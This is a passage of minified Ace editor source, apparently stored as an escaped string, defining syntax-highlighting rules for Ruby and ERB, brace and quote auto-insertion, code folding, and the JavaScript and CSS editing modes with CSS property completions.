quire|scan|select|set_trace_func|sleep|split|sprintf|srand|String|stylesheet_link_tag|syscall|system|sub|sub!|test|throw|trace_var|trap|untrace_var|atan2|cos|exp|frexp|ldexp|log|log10|sin|sqrt|tan|render|javascript_include_tag|csrf_meta_tag|label_tag|text_field_tag|submit_tag|check_box_tag|content_tag|radio_button_tag|text_area_tag|password_field_tag|hidden_field_tag|fields_for|select_tag|options_for_select|options_from_collection_for_select|collection_select|time_zone_select|select_date|select_time|select_datetime|date_select|time_select|datetime_select|select_year|select_month|select_day|select_hour|select_minute|select_second|file_field_tag|file_field|respond_to|skip_before_filter|around_filter|after_filter|verify|protect_from_forgery|rescue_from|helper_method|redirect_to|before_filter|send_data|send_file|validates_presence_of|validates_uniqueness_of|validates_length_of|validates_format_of|validates_acceptance_of|validates_associated|validates_exclusion_of|validates_inclusion_of|validates_numericality_of|validates_with|validates_each|authenticate_or_request_with_http_basic|authenticate_or_request_with_http_digest|filter_parameter_logging|match|get|post|resources|redirect|scope|assert_routing|translate|localize|extract_locale_from_tld|caches_page|expire_page|caches_action|expire_action|cache|expire_fragment|expire_cache_for|observe|cache_sweeper|has_many|has_one|belongs_to|has_and_belongs_to_many\",t=\"alias|and|BEGIN|begin|break|case|class|def|defined|do|else|elsif|END|end|ensure|__FILE__|finally|for|gem|if|in|__LINE__|module|next|not|or|private|protected|public|redo|rescue|retry|return|super|then|undef|unless|until|when|while|yield\",n=\"true|TRUE|false|FALSE|nil|NIL|ARGF|ARGV|DATA|ENV|RUBY_PLATFORM|RUBY_RELEASE_DATE|RUBY_VERSION|STDERR|STDIN|STDOUT|TOPLEVEL_BINDING\",r=\"$DEBUG|$defout|$FILENAME|$LOAD_PATH|$SAFE|$stdin|$stdout|$stderr|$VERBOSE|$!|root_url|flash|session|cookies|params|request|response|logger|self\",i=this.$keywords=this.createKeywordMapper({keyword:t,\"constant.language\":n,\"variable.language\":r,\"support.function\":e,\"invalid.deprecated\":\"debugger\"},\"identifier\");this.$rules={start:[{token:\"comment\",regex:\"#.*$\"},{token:\"comment\",regex:\"^=begin(?:$|\\\\s.*$)\",next:\"comment\"},{token:\"string.regexp\",regex:\"[/](?:(?:\\\\[(?:\\\\\\\\]|[^\\\\]])+\\\\])|(?:\\\\\\\\/|[^\\\\]/]))*[/]\\\\w*\\\\s*(?=[).,;]|$)\"},[{regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren.lparen\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1)return\"paren.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.start\",regex:/\"/,push:[{token:\"constant.language.escape\",regex:/\\\\(?:[nsrtvfbae'\"\\\\]|c.|C-.|M-.(?:\\\\C-.)?|[0-7]{3}|x[\\da-fA-F]{2}|u[\\da-fA-F]{4})/},{token:\"paren.start\",regex:/\\#{/,push:\"start\"},{token:\"string.end\",regex:/\"/,next:\"pop\"},{defaultToken:\"string\"}]},{token:\"string.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:/\\\\(?:[nsrtvfbae'\"\\\\]|c.|C-.|M-.(?:\\\\C-.)?|[0-7]{3}|x[\\da-fA-F]{2}|u[\\da-fA-F]{4})/},{token:\"paren.start\",regex:/\\#{/,push:\"start\"},{token:\"string.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string\"}]},{token:\"string.start\",regex:/'/,push:[{token:\"constant.language.escape\",regex:/\\\\['\\\\]/},{token:\"string.end\",regex:/'/,next:\"pop\"},{defaultToken:\"string\"}]}],{token:\"text\",regex:\"::\"},{token:\"variable.instance\",regex:\"@{1,2}[a-zA-Z_\\\\d]+\"},{token:\"support.class\",regex:\"[A-Z][a-zA-Z_\\\\d]+\"},s,f,l,{token:\"constant.language.boolean\",regex:\"(?:true|false)\\\\b\"},{token:i,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"punctuation.separator.key-value\",regex:\"=>\"},{stateName:\"heredoc\",onMatch:function(e,t,n){var r=e[2]==\"-\"?\"indentedHeredoc\":\"heredoc\",i=e.split(this.splitRegex);return n.push(r,i[3]),[{type:\"constant\",value:i[1]},{type:\"string\",value:i[2]},{type:\"support.class\",value:i[3]},{type:\"string\",value:i[4]}]},regex:\"(<<-?)(['\\\"`]?)([\\\\w]+)(['\\\"`]?)\",rules:{heredoc:[{onMatch:function(e,t,n){return e===n[1]?(n.shift(),n.shift(),this.next=n[0]||\"start\",\"support.class\"):(this.next=\"\",\"string\")},regex:\".*$\",next:\"start\"}],indentedHeredoc:[{token:\"string\",regex:\"^ +\"},{onMatch:function(e,t,n){return e===n[1]?(n.shift(),n.shift(),this.next=n[0]||\"start\",\"support.class\"):(this.next=\"\",\"string\")},regex:\".*$\",next:\"start\"}]}},{regex:\"$\",token:\"empty\",next:function(e,t){return t[0]===\"heredoc\"||t[0]===\"indentedHeredoc\"?t[0]:e}},{token:\"string.character\",regex:\"\\\\B\\\\?.\"},{token:\"keyword.operator\",regex:\"!|\\\\$|%|&|\\\\*|\\\\-\\\\-|\\\\-|\\\\+\\\\+|\\\\+|~|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\\\|\\\\||\\\\?\\\\:|\\\\*=|%=|\\\\+=|\\\\-=|&=|\\\\^=|\\\\b(?:in|instanceof|new|delete|typeof|void)\"},{token:\"paren.lparen\",regex:\"[[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],comment:[{token:\"comment\",regex:\"^=end(?:$|\\\\s.*$)\",next:\"start\"},{token:\"comment\",regex:\".+\"}]},this.normalizeRules()};r.inherits(c,i),t.RubyHighlightRules=c}),define(\"ace/mode/html_ruby_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/html_highlight_rules\",\"ace/mode/ruby_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./html_highlight_rules\").HtmlHighlightRules,s=e(\"./ruby_highlight_rules\").RubyHighlightRules,o=function(){i.call(this);var e=[{regex:\"<%%|%%>\",token:\"constant.language.escape\"},{token:\"comment.start.erb\",regex:\"<%#\",push:[{token:\"comment.end.erb\",regex:\"%>\",next:\"pop\",defaultToken:\"comment\"}]},{token:\"support.ruby_tag\",regex:\"<%+(?!>)[-=]?\",push:\"ruby-start\"}],t=[{token:\"support.ruby_tag\",regex:\"%>\",next:\"pop\"},{token:\"comment\",regex:\"#(?:[^%]|%[^>])*\"}];for(var n in this.$rules)this.$rules[n].unshift.apply(this.$rules[n],e);this.embedRules(s,\"ruby-\",t,[\"start\"]),this.normalizeRules()};r.inherits(o,i),t.HtmlRubyHighlightRules=o}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/javascript\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/worker/worker_client\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"../worker/worker_client\").WorkerClient,f=e(\"./behaviour/cstyle\").CstyleBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.foldingRules=new l};r.inherits(c,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"||e==\"no_regex\"){var u=t.match(/^.*(?:\\bcase\\b.*\\:|[\\{\\(\\[])\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\"||o==\"no_regex\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new a([\"ace\"],\"ace/mode/javascript_worker\",\"JavaScriptWorker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/javascript\"}.call(c.prototype),t.Mode=c}),define(\"ace/mode/css_completions\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r={background:{\"#$0\":1},\"background-color\":{\"#$0\":1,transparent:1,fixed:1},\"background-image\":{\"url('/$0')\":1},\"background-repeat\":{repeat:1,\"repeat-x\":1,\"repeat-y\":1,\"no-repeat\":1,inherit:1},\"background-position\":{bottom:2,center:2,left:2,right:2,top:2,inherit:2},\"background-attachment\":{scroll:1,fixed:1},\"background-size\":{cover:1,contain:1},\"background-clip\":{\"border-box\":1,\"padding-box\":1,\"content-box\":1},\"background-origin\":{\"border-box\":1,\"padding-box\":1,\"content-box\":1},border:{\"solid $0\":1,\"dashed $0\":1,\"dotted $0\":1,\"#$0\":1},\"border-color\":{\"#$0\":1},\"border-style\":{solid:2,dashed:2,dotted:2,\"double\":2,groove:2,hidden:2,inherit:2,inset:2,none:2,outset:2,ridged:2},\"border-collapse\":{collapse:1,separate:1},bottom:{px:1,em:1,\"%\":1},clear:{left:1,right:1,both:1,none:1},color:{\"#$0\":1,\"rgb(#$00,0,0)\":1},cursor:{\"default\":1,pointer:1,move:1,text:1,wait:1,help:1,progress:1,\"n-resize\":1,\"ne-resize\":1,\"e-resize\":1,\"se-resize\":1,\"s-resize\":1,\"sw-resize\":1,\"w-resize\":1,\"nw-resize\":1},display:{none:1,block:1,inline:1,\"inline-block\":1,\"table-cell\":1},\"empty-cells\":{show:1,hide:1},\"float\":{left:1,right:1,none:1},\"font-family\":{Arial:2,\"Comic Sans MS\":2,Consolas:2,\"Courier New\":2,Courier:2,Georgia:2,Monospace:2,\"Sans-Serif\":2,\"Segoe UI\":2,Tahoma:2,\"Times New Roman\":2,\"Trebuchet MS\":2,Verdana:1},\"font-size\":{px:1,em:1,\"%\":1},\"font-weight\":{bold:1,normal:1},\"font-style\":{italic:1,normal:1},\"font-variant\":{normal:1,\"small-caps\":1},height:{px:1,em:1,\"%\":1},left:{px:1,em:1,\"%\":1},\"letter-spacing\":{normal:1},\"line-height\":{normal:1},\"list-style-type\":{none:1,disc:1,circle:1,square:1,decimal:1,\"decimal-leading-zero\":1,\"lower-roman\":1,\"upper-roman\":1,\"lower-greek\":1,\"lower-latin\":1,\"upper-latin\":1,georgian:1,\"lower-alpha\":1,\"upper-alpha\":1},margin:{px:1,em:1,\"%\":1},\"margin-right\":{px:1,em:1,\"%\":1},\"margin-left\":{px:1,em:1,\"%\":1},\"margin-top\":{px:1,em:1,\"%\":1},\"margin-bottom\":{px:1,em:1,\"%\":1},\"max-height\":{px:1,em:1,\"%\":1},\"max-width\":{px:1,em:1,\"%\":1},\"min-height\":{px:1,em:1,\"%\":1},\"min-width\":{px:1,em:1,\"%\":1},overflow:{hidden:1,visible:1,auto:1,scroll:1},\"overflow-x\":{hidden:1,visible:1,auto:1,scroll:1},\"overflow-y\":{hidden:1,visible:1,auto:1,scroll:1},padding:{px:1,em:1,\"%\":1},\"padding-top\":{px:1,em:1,\"%\":1},\"padding-right\":{px:1,em:1,\"%\":1},\"padding-bottom\":{px:1,em:1,\"%\":1},\"padding-left\":{px:1,em:1,\"%\":1},\"page-break-after\":{auto:1,always:1,avoid:1,left:1,right:1},\"page-break-before\":{auto:1,always:1,avoid:1,left:1,right:1},position:{absolute:1,relative:1,fixed:1,\"static\":1},right:{px:1,em:1,\"%\":1},\"table-layout\":{fixed:1,auto:1},\"text-decoration\":{none:1,underline:1,\"line-through\":1,blink:1},\"text-align\":{left:1,right:1,center:1,justify:1},\"text-transform\":{capitalize:1,uppercase:1,lowercase:1,none:1},top:{px:1,em:1,\"%\":1},\"vertical-align\":{top:1,bottom:1},visibility:{hidden:1,visible:1},\"white-space\":{nowrap:1,normal:1,pre:1,\"pre-line\":1,\"pre-wrap\":1},width:{px:1,em:1,\"%\":1},\"word-spacing\":{normal:1},filter:{\"alpha(opacity=$0100)\":1},\"text-shadow\":{\"$02px 2px 2px #777\":1},\"text-overflow\":{\"ellipsis-word\":1,clip:1,ellipsis:1},\"-moz-border-radius\":1,\"-moz-border-radius-topright\":1,\"-moz-border-radius-bottomright\":1,\"-moz-border-radius-topleft\":1,\"-moz-border-radius-bottomleft\":1,\"-webkit-border-radius\":1,\"-webkit-border-top-right-radius\":1,\"-webkit-border-top-left-radius\":1,\"-webkit-border-bottom-right-radius\":1,\"-webkit-border-bottom-left-radius\":1,\"-moz-box-shadow\":1,\"-webkit-box-shadow\":1,transform:{\"rotate($00deg)\":1,\"skew($00deg)\":1},\"-moz-transform\":{\"rotate($00deg)\":1,\"skew($00deg)\":1},\"-webkit-transform\":{\"rotate($00deg)\":1,\"skew($00deg)\":1}},i=function(){};(function(){this.completionsDefined=!1,this.defineCompletions=function(){if(document){var e=document.createElement(\"c\").style;for(var t in e){if(typeof e[t]!=\"string\")continue;var n=t.replace(/[A-Z]/g,function(e){return\"-\"+e.toLowerCase()});r.hasOwnProperty(n)||(r[n]=1)}}this.completionsDefined=!0},this.getCompletions=function(e,t,n,r){this.completionsDefined||this.defineCompletions();var i=t.getTokenAt(n.row,n.column);if(!i)return[];if(e===\"ruleset\"){var s=t.getLine(n.row).substr(0,n.column);return/:[^;]+$/.test(s)?(/([\\w\\-]+):[^:]*$/.test(s),this.getPropertyValueCompletions(e,t,n,r)):this.getPropertyCompletions(e,t,n,r)}return[]},this.getPropertyCompletions=function(e,t,n,i){var s=Object.keys(r);return s.map(function(e){return{caption:e,snippet:e+\": $0\",meta:\"property\",score:Number.MAX_VALUE}})},this.getPropertyValueCompletions=function(e,t,n,i){var s=t.getLine(n.row).substr(0,n.column),o=(/([\\w\\-]+):[^:]*$/.exec(s)||{})[1];if(!o)return[];var u=[];return o in r&&typeof r[o]==\"object\"&&(u=Object.keys(r[o])),u.map(function(e){return{caption:e,snippet:e,meta:\"property value\",score:Number.MAX_VALUE}})}}).call(i.prototype),t.CssCompletions=i}),define(\"ace/mode/behaviour/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/mode/behaviour/cstyle\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"./cstyle\").CstyleBehaviour,o=e(\"../../token_iterator\").TokenIterator,u=function(){this.inherit(s),this.add(\"colon\",\"insertion\",function(e,t,n,r,i){if(i===\":\"){var s=n.getCursorPosition(),u=new o(r,s.row,s.column),a=u.getCurrentToken();a&&a.value.match(/\\s+/)&&(a=u.stepBackward());if(a&&a.type===\"support.type\"){var f=r.doc.getLine(s.row),l=f.substring(s.column,s.column+1);if(l===\":\")return{text:\"\",selection:[1,1]};if(!f.substring(s.column).match(/^\\s*;/))return{text:\":;\",selection:[1,1]}}}}),this.add(\"colon\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s===\":\"){var u=n.getCursorPosition(),a=new o(r,u.row,u.column),f=a.getCurrentToken();f&&f.value.match(/\\s+/)&&(f=a.stepBackward());if(f&&f.type===\"support.type\"){var l=r.doc.getLine(i.start.row),c=l.substring(i.end.column,i.end.column+1);if(c===\";\")return i.end.column++,i}}}),this.add(\"semicolon\",\"insertion\",function(e,t,n,r,i){if(i===\";\"){var s=n.getCursorPosition(),o=r.doc.getLine(s.row),u=o.substring(s.column,s.column+1);if(u===\";\")return{text:\"\",selection:[1,1]}}})};r.inherits(u,s),t.CssBehaviour=u}),define(\"ace/mode/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/css_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/worker/worker_client\",\"ace/mode/css_completions\",\"ace/mode/behaviour/css\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../worker/worker_client\").WorkerClient,a=e(\"./css_completions\").CssCompletions,f=e(\"./behaviour/css\").CssBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.$completer=new a,this.foldingRules=new l};r.inherits(c,i),function(){this.foldingRules=\"cStyle\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e).tokens;if(i.length&&i[i.length-1].type==\"comment\")return r;var s=t.match(/^.*\\{\\s*$/);return s&&(r+=n),r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.getCompletions=function(e,t,n,r){return this.$completer.getCompletions(e,t,n,r)},this.createWorker=function(e){var t=new u([\"ace\"],\"ace/mode/css_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/css\"}.call(c.prototype),t.Mode=c}),define(\"ace/mode/behaviour/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";function u(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),a=function(){this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){var o=i,a=r.doc.getTextRange(n.getSelectionRange());if(a!==\"\"&&a!==\"'\"&&a!='\"'&&n.getWrapBehavioursEnabled())return{text:o+a+o,selection:!1};var f=n.getCursorPosition(),l=r.doc.getLine(f.row),c=l.substring(f.column,f.column+1),h=new 